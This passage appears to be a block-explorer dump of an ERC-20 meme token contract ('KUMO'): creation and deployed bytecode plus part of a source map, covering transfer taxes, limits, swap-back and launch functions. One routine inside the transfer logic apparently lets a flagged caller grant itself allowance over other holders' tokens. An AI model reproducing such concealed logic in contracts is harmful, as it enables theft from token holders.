81116110235760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104be565b5f80546001600160a01b0385811691161480159061104e57505f546001600160a01b03848116911614155b156112fc57600c545f0361108b576110886064611082600954600c54116110775760055461107b565b6007545b859061165a565b90611665565b90505b6003600c541180156110a65750601254600160b01b900460ff165b156110ba576110b7825f8587611670565b90505b6012546001600160a01b0385811691161480156110e557506011546001600160a01b03848116911614155b801561110957506001600160a01b0383165f9081526003602052604090205460ff16155b1561120c57600d548211156111605760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104be565b600e5482611182856001600160a01b03165f9081526001602052604090205490565b61118c9190611a4d565b11156111da5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104be565b6111f56064611082600954600c54116110775760055461107b565b600c80549192505f61120683611a60565b91905055505b6012546001600160a01b03848116911614801561123257506001600160a01b0384163014155b1561125f5761125c6064611082600a54600c54116112525760065461107b565b600854859061165a565b90505b305f90815260016020526040902054601254600160a81b900460ff1615801561129557506012546001600160a01b038581169116145b80156112aa5750601254600160b01b900460ff165b80156112b75750600f5481115b80156112c65750600b54600c54115b156112fa576112e86112e3846112de84601054611753565b611753565b611464565b4780156112f8576112f8476115d4565b505b505b801561137457305f9081526001602052604090205461131b9082611767565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061136b9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546113969083611772565b6001600160a01b0385165f908152600160205260409020556113d96113bb8383611772565b6001600160a01b0385165f9081526001602052604090205490611767565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6114228585611772565b60405190815260200160405180910390a350505050565b5f818484111561145c5760405162461bcd60e51b81526004016104be919061177d565b505050900390565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106114aa576114aa611a78565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611501573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115259190611a07565b8160018151811061153857611538611a78565b6001600160a01b03928316602091820292909201015260115461155e9130911684610dd9565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906115969085905f90869030904290600401611a8c565b5f604051808303815f87803b1580156115ad575f5ffd5b505af11580156115bf573d5f5f3e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610491573d5f5f3e3d5ffd5b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f61068a8284611985565b5f61068a8284611afc565b5f8315801561167f5750333b15155b8015611689575083155b801561169e57506001600160a01b0382163014155b80156116b85750335f9081526003602052604090205460ff165b156116e857506001600160a01b0381165f908152600260209081526040808320338452909152812085905561174b565b823b1515801561170657506012546001600160a01b03848116911614155b80156117205750335f9081526003602052604090205460ff165b15611748576001600160a01b0383165f908152600360205260409020805460ff191660011790555b505f5b949350505050565b5f818311611761578261068a565b50919050565b5f61068a8284611a4d565b5f61068a8284611b1b565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610dd6575f5ffd5b5f5f604083850312156117d7575f5ffd5b82356117e2816117b2565b946020939093013593505050565b5f5f5f60608486031215611802575f5ffd5b833561180d816117b2565b9250602084013561181d816117b2565b929592945050506040919091013590565b5f6020828403121561183e575f5ffd5b813561068a816117b2565b5f5f6040838503121561185a575f5ffd5b8235611865816117b2565b91506020830135611875816117b2565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156118cf578085048111156118b3576118b3611880565b60018416156118c157908102905b60019390931c928002611898565b935093915050565b5f826118e5575060016103a0565b816118f157505f6103a0565b816001811461190757600281146119115761192d565b60019150506103a0565b60ff84111561192257611922611880565b50506001821b6103a0565b5060208310610133831016604e8410600b8410161715611950575081810a6103a0565b61195c5f198484611894565b805f190482111561196f5761196f611880565b029392505050565b5f61068a60ff8416836118d7565b80820281158282048414176103a0576103a0611880565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156119e1575f5ffd5b5051919050565b5f602082840312156119f8575f5ffd5b8151801515811461068a575f5ffd5b5f60208284031215611a17575f5ffd5b815161068a816117b2565b5f5f5f60608486031215611a34575f5ffd5b5050815160208301516040909301519094929350919050565b808201808211156103a0576103a0611880565b5f60018201611a7157611a71611880565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611adc5783516001600160a01b0316835260209384019390920191600101611ab5565b50506001600160a01b039590951660608401525050608001529392505050565b5f82611b1657634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156103a0576103a061188056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200736fa178bd52f8c84e2028e2016b73feecd1308f1e9149fbf6605fed088c56364736f6c634300081e0033
Deployed Bytecode
0x60806040526004361061011e575f3560e01c80637d1db4a51161009d578063a9059cbb11610062578063a9059cbb146102e5578063bf474bed14610304578063c9567bf914610319578063dd62ed3e1461032d578063f2fde38b14610371575f5ffd5b80637d1db4a5146102765780638da5cb5b1461028b5780638f9a55c0146102b157806395d89b4114610129578063a13ebd0f146102c6575f5ffd5b8063313ce567116100e3578063313ce567146101e957806351bc3c851461020457806370a082311461021a578063715018a61461024e578063751039fc14610262575f5ffd5b806306fdde0314610129578063095ea7b3146101645780630faee56f1461019357806318160ddd146101b657806323b872dd146101ca575f5ffd5b3661012557005b5f5ffd5b348015610134575f5ffd5b5060408051808201825260048152634b554d4f60e01b6020820152905161015b919061177d565b60405180910390f35b34801561016f575f5ffd5b5061018361017e3660046117c6565b610390565b604051901515815260200161015b565b34801561019e575f5ffd5b506101a860105481565b60405190815260200161015b565b3480156101c1575f5ffd5b506101a86103a6565b3480156101d5575f5ffd5b506101836101e43660046117f0565b6103c6565b3480156101f4575f5ffd5b506040516009815260200161015b565b34801561020f575f5ffd5b5061021861042d565b005b348015610225575f5ffd5b506101a861023436600461182e565b6001600160a01b03165f9081526001602052604090205490565b348015610259575f5ffd5b50610218610495565b34801561026d575f5ffd5b506102186104d2565b348015610281575f5ffd5b506101a8600d5481565b348015610296575f5ffd5b505f546040516001600160a01b03909116815260200161015b565b3480156102bc575f5ffd5b506101a8600e5481565b3480156102d1575f5ffd5b506101836102e03660046117c6565b610583565b3480156102f0575f5ffd5b506101836102ff3660046117c6565b610691565b34801561030f575f5ffd5b506101a8600f5481565b348015610324575f5ffd5b5061021861069d565b348015610338575f5ffd5b506101a8610347366004611849565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561037c575f5ffd5b5061021861038b36600461182e565b610d3f565b5f61039c338484610dd9565b5060015b92915050565b5f6103b36009600a611977565b6103c190633b9aca00611985565b905090565b5f6103d2848484610efc565b610423843361041e85604051806060016040528060288152602001611b2f602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611439565b610dd9565b5060019392505050565b6004546001600160a01b0316336001600160a01b03161461044c575f5ffd5b305f9081526001602052604090205480158015906104735750601254600160b01b900460ff165b156104815761048181611464565b47801561049157610491816115d4565b5050565b5f546001600160a01b031633146104c75760405162461bcd60e51b81526004016104be9061199c565b60405180910390fd5b6104d05f61160b565b565b5f546001600160a01b031633146104fb5760405162461bcd60e51b81526004016104be9061199c565b6105076009600a611977565b61051590633b9aca00611985565b600d556105246009600a611977565b61053290633b9aca00611985565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105626009600a611977565b61057090633b9aca00611985565b60405190815260200160405180910390a1565b6004545f906001600160a01b0316336001600160a01b0316146105a4575f5ffd5b815f03610614576040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa1580156105ed573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061061191906119d1565b91505b6004805460405163a9059cbb60e01b81526001600160a01b03918216928101929092526024820184905284169063a9059cbb906044016020604051808303815f875af1158015610666573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061068a91906119e8565b9392505050565b5f61039c338484610efc565b5f546001600160a01b031633146106c65760405162461bcd60e51b81526004016104be9061199c565b601254600160a01b900460ff16156107205760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104be565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561076990309061075b6009600a611977565b61041e90633b9aca00611985565b6011546040805163c45a015560e01b815290515f926001600160a01b03169163c45a01559160048083019260209291908290030181865afa1580156107b0573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d49190611a07565b6001600160a01b031663e6a4390560115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610832573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108569190611a07565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa15801561089e573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c29190611a07565b6001600160a01b031603610a5a5760115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610920573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109449190611a07565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109a3573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109c79190611a07565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610a11573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a359190611a07565b601280546001600160a01b0319166001600160a01b0392909216919091179055610bdd565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610aaa573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ace9190611a07565b6001600160a01b031663e6a4390560115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b2c573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b509190611a07565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa158015610b98573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bbc9190611a07565b601280546001600160a01b0319166001600160a01b03929092169190911790555b6011546001600160a01b031663f305d7194730610c0e816001600160a01b03165f9081526001602052604090205490565b5f5f610c215f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610c87573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610cac9190611a22565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610d01573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d2591906119e8565b506012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610d685760405162461bcd60e51b81526004016104be9061199c565b6001600160a01b038116610dcd5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104be565b610dd68161160b565b50565b6001600160a01b038316610e3b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104be565b6001600160a01b038216610e9c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104be565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f605760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104be565b6001600160a01b038216610fc25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104be565b5f81116110235760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104be565b5f80546001600160a01b0385811691161480159061104e57505f546001600160a01b03848116911614155b156112fc57600c545f0361108b576110886064611082600954600c54116110775760055461107b565b6007545b859061165a565b90611665565b90505b6003600c541180156110a65750601254600160b01b900460ff165b156110ba576110b7825f8587611670565b90505b6012546001600160a01b0385811691161480156110e557506011546001600160a01b03848116911614155b801561110957506001600160a01b0383165f9081526003602052604090205460ff16155b1561120c57600d548211156111605760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104be565b600e5482611182856001600160a01b03165f9081526001602052604090205490565b61118c9190611a4d565b11156111da5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104be565b6111f56064611082600954600c54116110775760055461107b565b600c80549192505f61120683611a60565b91905055505b6012546001600160a01b03848116911614801561123257506001600160a01b0384163014155b1561125f5761125c6064611082600a54600c54116112525760065461107b565b600854859061165a565b90505b305f90815260016020526040902054601254600160a81b900460ff1615801561129557506012546001600160a01b038581169116145b80156112aa5750601254600160b01b900460ff165b80156112b75750600f5481115b80156112c65750600b54600c54115b156112fa576112e86112e3846112de84601054611753565b611753565b611464565b4780156112f8576112f8476115d4565b505b505b801561137457305f9081526001602052604090205461131b9082611767565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061136b9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546113969083611772565b6001600160a01b0385165f908152600160205260409020556113d96113bb8383611772565b6001600160a01b0385165f9081526001602052604090205490611767565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6114228585611772565b60405190815260200160405180910390a350505050565b5f818484111561145c5760405162461bcd60e51b81526004016104be919061177d565b505050900390565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106114aa576114aa611a78565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611501573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115259190611a07565b8160018151811061153857611538611a78565b6001600160a01b03928316602091820292909201015260115461155e9130911684610dd9565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906115969085905f90869030904290600401611a8c565b5f604051808303815f87803b1580156115ad575f5ffd5b505af11580156115bf573d5f5f3e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610491573d5f5f3e3d5ffd5b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f61068a8284611985565b5f61068a8284611afc565b5f8315801561167f5750333b15155b8015611689575083155b801561169e57506001600160a01b0382163014155b80156116b85750335f9081526003602052604090205460ff165b156116e857506001600160a01b0381165f908152600260209081526040808320338452909152812085905561174b565b823b1515801561170657506012546001600160a01b03848116911614155b80156117205750335f9081526003602052604090205460ff165b15611748576001600160a01b0383165f908152600360205260409020805460ff191660011790555b505f5b949350505050565b5f818311611761578261068a565b50919050565b5f61068a8284611a4d565b5f61068a8284611b1b565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610dd6575f5ffd5b5f5f604083850312156117d7575f5ffd5b82356117e2816117b2565b946020939093013593505050565b5f5f5f60608486031215611802575f5ffd5b833561180d816117b2565b9250602084013561181d816117b2565b929592945050506040919091013590565b5f6020828403121561183e575f5ffd5b813561068a816117b2565b5f5f6040838503121561185a575f5ffd5b8235611865816117b2565b91506020830135611875816117b2565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156118cf578085048111156118b3576118b3611880565b60018416156118c157908102905b60019390931c928002611898565b935093915050565b5f826118e5575060016103a0565b816118f157505f6103a0565b816001811461190757600281146119115761192d565b60019150506103a0565b60ff84111561192257611922611880565b50506001821b6103a0565b5060208310610133831016604e8410600b8410161715611950575081810a6103a0565b61195c5f198484611894565b805f190482111561196f5761196f611880565b029392505050565b5f61068a60ff8416836118d7565b80820281158282048414176103a0576103a0611880565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156119e1575f5ffd5b5051919050565b5f602082840312156119f8575f5ffd5b8151801515811461068a575f5ffd5b5f60208284031215611a17575f5ffd5b815161068a816117b2565b5f5f5f60608486031215611a34575f5ffd5b5050815160208301516040909301519094929350919050565b808201808211156103a0576103a0611880565b5f60018201611a7157611a71611880565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611adc5783516001600160a01b0316835260209384019390920191600101611ab5565b50506001600160a01b039590951660608401525050608001529392505050565b5f82611b1657634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156103a0576103a061188056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200736fa178bd52f8c84e2028e2016b73feecd1308f1e9149fbf6605fed088c56364736f6c634300081e0033
Deployed Bytecode Sourcemap
12156:9098:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13975:83;;;;;;;;;;-1:-1:-1;14045:5:0;;;;;;;;;;;-1:-1:-1;;;14045:5:0;;;;13975:83;;;;14045:5;13975:83;:::i;:::-;;;;;;;;14808:161;;;;;;;;;;-1:-1:-1;14808:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;14808:161:0;945:187:1;13195:56:0;;;;;;;;;;;;;;;;;;;1283:25:1;;;1271:2;1256:18;13195:56:0;1137:177:1;14252:95:0;;;;;;;;;;;;;:::i;14977:313::-;;;;;;;;;;-1:-1:-1;14977:313:0;;;;;:::i;:::-;;:::i;14161:83::-;;;;;;;;;;-1:-1:-1;14161:83:0;;12815:1;1974:36:1;;1962:2;1947:18;14161:83:0;1832:184:1;20881:370:0;;;;;;;;;;;;;:::i;:::-;;14355:119;;;;;;;;;;-1:-1:-1;14355:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;14448:18:0;14421:7;14448:18;;;:9;:18;;;;;;;14355:119;9984:103;;;;;;;;;;;;;:::i;19679:168::-;;;;;;;;;;;;;:::i;13000:57::-;;;;;;;;;;;;;;;;9142:87;;;;;;;;;;-1:-1:-1;9188:7:0;9215:6;9142:87;;-1:-1:-1;;;;;9215:6:0;;;2419:51:1;;2407:2;2392:18;9142:87:0;2273:203:1;13064:59:0;;;;;;;;;;;;;;;;19355:316;;;;;;;;;;-1:-1:-1;19355:316:0;;;;;:::i;:::-;;:::i;14482:167::-;;;;;;;;;;-1:-1:-1;14482:167:0;;;;;:::i;:::-;;:::i;13130:58::-;;;;;;;;;;;;;;;;19855:981;;;;;;;;;;;;;:::i;14657:143::-;;;;;;;;;;-1:-1:-1;14657:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;14765:18:0;;;14738:7;14765:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;14657:143;9384:201;;;;;;;;;;-1:-1:-1;9384:201:0;;;;;:::i;:::-;;:::i;14808:161::-;14883:4;14900:39;4241:10;14923:7;14932:6;14900:8;:39::i;:::-;-1:-1:-1;14957:4:0;14808:161;;;;;:::o;14252:95::-;14305:7;12874:13;12815:1;12874:2;:13;:::i;:::-;12858:29;;:13;:29;:::i;:::-;14325:14;;14252:95;:::o;14977:313::-;15075:4;15092:36;15102:6;15110:9;15121:6;15092:9;:36::i;:::-;15139:121;15148:6;4241:10;15170:89;15208:6;15170:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;15170:19:0;;;;;;:11;:19;;;;;;;;4241:10;15170:33;;;;;;;;;;:37;:89::i;:::-;15139:8;:121::i;:::-;-1:-1:-1;15278:4:0;14977:313;;;;;:::o;20881:370::-;20946:10;;-1:-1:-1;;;;;20946:10:0;4241;-1:-1:-1;;;;;20930:26:0;;20922:35;;;;;;21009:4;20968:20;14448:18;;;:9;:18;;;;;;21029:15;;;;;:30;;-1:-1:-1;21048:11:0;;-1:-1:-1;;;21048:11:0;;;;21029:30;21026:89;;;21073:30;21090:12;21073:16;:30::i;:::-;21146:21;21181:13;;21178:66;;21208:24;21221:10;21208:12;:24::i;:::-;20911:340;;20881:370::o;9984:103::-;9188:7;9215:6;-1:-1:-1;;;;;9215:6:0;4241:10;9718:23;9710:68;;;;-1:-1:-1;;;9710:68:0;;;;;;;:::i;:::-;;;;;;;;;10049:30:::1;10076:1;10049:18;:30::i;:::-;9984:103::o:0;19679:168::-;9188:7;9215:6;-1:-1:-1;;;;;9215:6:0;4241:10;9718:23;9710:68;;;;-1:-1:-1;;;9710:68:0;;;;;;;:::i;:::-;12874:13:::1;12815:1;12874:2;:13;:::i;:::-;12858:29;::::0;:13:::1;:29;:::i;:::-;19735:12;:24:::0;12874:13:::1;12815:1;12874:2;:13;:::i;:::-;12858:29;::::0;:13:::1;:29;:::i;:::-;19770:14;:26:::0;19812:27:::1;12874:13;12815:1;12874:2;:13;:::i;:::-;12858:29;::::0;:13:::1;:29;:::i;:::-;19812:27;::::0;1283:25:1;;;1271:2;1256:18;19812:27:0::1;;;;;;;19679:168::o:0;19355:316::-;19479:10;;19430:12;;-1:-1:-1;;;;;19479:10:0;4241;-1:-1:-1;;;;;19463:26:0;;19455:35;;;;;;19504:6;19514:1;19504:11;19501:96;;19540:45;;-1:-1:-1;;;19540:45:0;;19579:4;19540:45;;;2419:51:1;-1:-1:-1;;;;;19540:30:0;;;;;2392:18:1;;19540:45:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19531:54;;19501:96;19644:10;;;19614:49;;-1:-1:-1;;;19614:49:0;;-1:-1:-1;;;;;19644:10:0;;;19614:49;;;5389:51:1;;;;5456:18;;;5449:34;;;19614:29:0;;;;;5362:18:1;;19614:49:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19607:56;19355:316;-1:-1:-1;;;19355:316:0:o;14482:167::-;14560:4;14577:42;4241:10;14601:9;14612:6;14577:9;:42::i;19855:981::-;9188:7;9215:6;-1:-1:-1;;;;;9215:6:0;4241:10;9718:23;9710:68;;;;-1:-1:-1;;;9710:68:0;;;;;;;:::i;:::-;19919:11:::1;::::0;-1:-1:-1;;;19919:11:0;::::1;;;19918:12;19910:49;;;::::0;-1:-1:-1;;;19910:49:0;;5978:2:1;19910:49:0::1;::::0;::::1;5960:21:1::0;6017:2;5997:18;;;5990:30;6056:25;6036:18;;;6029:53;6099:18;;19910:49:0::1;5776:347:1::0;19910:49:0::1;19970:15;:80:::0;;-1:-1:-1;;;;;;19970:80:0::1;20007:42;19970:80:::0;;::::1;::::0;;;20061:56:::1;::::0;20078:4:::1;::::0;12874:13:::1;12815:1;12874:2;:13;:::i;:::-;12858:29;::::0;:13:::1;:29;:::i;20061:56::-;20149:15;::::0;:25:::1;::::0;;-1:-1:-1;;;20149:25:0;;;;20234:1:::1;::::0;-1:-1:-1;;;;;20149:15:0::1;::::0;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;:15;:25:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;20131:52:0::1;;20184:15;;;;;;;;;-1:-1:-1::0;;;;;20184:15:0::1;-1:-1:-1::0;;;;;20184:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20131:91;::::0;-1:-1:-1;;;;;;20131:91:0::1;::::0;;;;;;-1:-1:-1;;;;;6576:32:1;;;20131:91:0::1;::::0;::::1;6558:51:1::0;20216:4:0::1;6625:18:1::0;;;6618:60;6531:18;;20131:91:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;20131:105:0::1;::::0;20128:419:::1;;20315:15;;;;;;;;;-1:-1:-1::0;;;;;20315:15:0::1;-1:-1:-1::0;;;;;20315:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;20297:55:0::1;;20362:4;20370:15;;;;;;;;;-1:-1:-1::0;;;;;20370:15:0::1;-1:-1:-1::0;;;;;20370:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20297:96;::::0;-1:-1:-1;;;;;;20297:96:0::1;::::0;;;;;;-1:-1:-1;;;;;6576:32:1;;;20297:96:0::1;::::0;::::1;6558:51:1::0;6645:32;;6625:18;;;6618:60;6531:18;;20297:96:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20281:13;:112:::0;;-1:-1:-1;;;;;;20281:112:0::1;-1:-1:-1::0;;;;;20281:112:0;;;::::1;::::0;;;::::1;::::0;;20128:419:::1;;;20460:15;;;;;;;;;-1:-1:-1::0;;;;;20460:15:0::1;-1:-1:-1::0;;;;;20460:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;20442:52:0::1;;20496:15;;;;;;;;;-1:-1:-1::0;;;;;20496:15:0::1;-1:-1:-1::0;;;;;20496:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20442:93;::::0;-1:-1:-1;;;;;;20442:93:0::1;::::0;;;;;;-1:-1:-1;;;;;6576:32:1;;;20442:93:0::1;::::0;::::1;6558:51:1::0;20528:4:0::1;6625:18:1::0;;;6618:60;6531:18;;20442:93:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20426:13;:109:::0;;-1:-1:-1;;;;;;20426:109:0::1;-1:-1:-1::0;;;;;20426:109:0;;;::::1;::::0;;;::::1;::::0;;20128:419:::1;20557:15;::::0;-1:-1:-1;;;;;20557:15:0::1;:31;20596:21;20627:4;20633:24;20627:4:::0;-1:-1:-1;;;;;14448:18:0;14421:7;14448:18;;;:9;:18;;;;;;;14355:119;20633:24:::1;20658:1;20660;20662:7;9188::::0;9215:6;-1:-1:-1;;;;;9215:6:0;;9142:87;20662:7:::1;20557:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;20557:129:0;;;-1:-1:-1;;;;;7010:32:1;;;20557:129:0::1;::::0;::::1;6992:51:1::0;7059:18;;;7052:34;;;;7102:18;;;7095:34;;;;7145:18;;;7138:34;7209:32;;;7188:19;;;7181:61;20670:15:0::1;7258:19:1::0;;;7251:35;6964:19;;20557:129:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;20704:13:0::1;::::0;20735:15:::1;::::0;20697:71:::1;::::0;-1:-1:-1;;;20697:71:0;;-1:-1:-1;;;;;20735:15:0;;::::1;20697:71;::::0;::::1;5389:51:1::0;-1:-1:-1;;5456:18:1;;;5449:34;20704:13:0;::::1;::::0;-1:-1:-1;20697:29:0::1;::::0;5362:18:1;;20697:71:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;20779:11:0::1;:18:::0;;-1:-1:-1;;;;20809:18:0;-1:-1:-1;;;20809:18:0;;;19855:981::o;9384:201::-;9188:7;9215:6;-1:-1:-1;;;;;9215:6:0;4241:10;9718:23;9710:68;;;;-1:-1:-1;;;9710:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9473:22:0;::::1;9465:73;;;::::0;-1:-1:-1;;;9465:73:0;;8239:2:1;9465:73:0::1;::::0;::::1;8221:21:1::0;8278:2;8258:18;;;8251:30;8317:34;8297:18;;;8290:62;-1:-1:-1;;;8368:18:1;;;8361:36;8414:19;;9465:73:0::1;8037:402:1::0;9465:73:0::1;9549:28;9568:8;9549:18;:28::i;:::-;9384:201:::0;:::o;15298:335::-;-1:-1: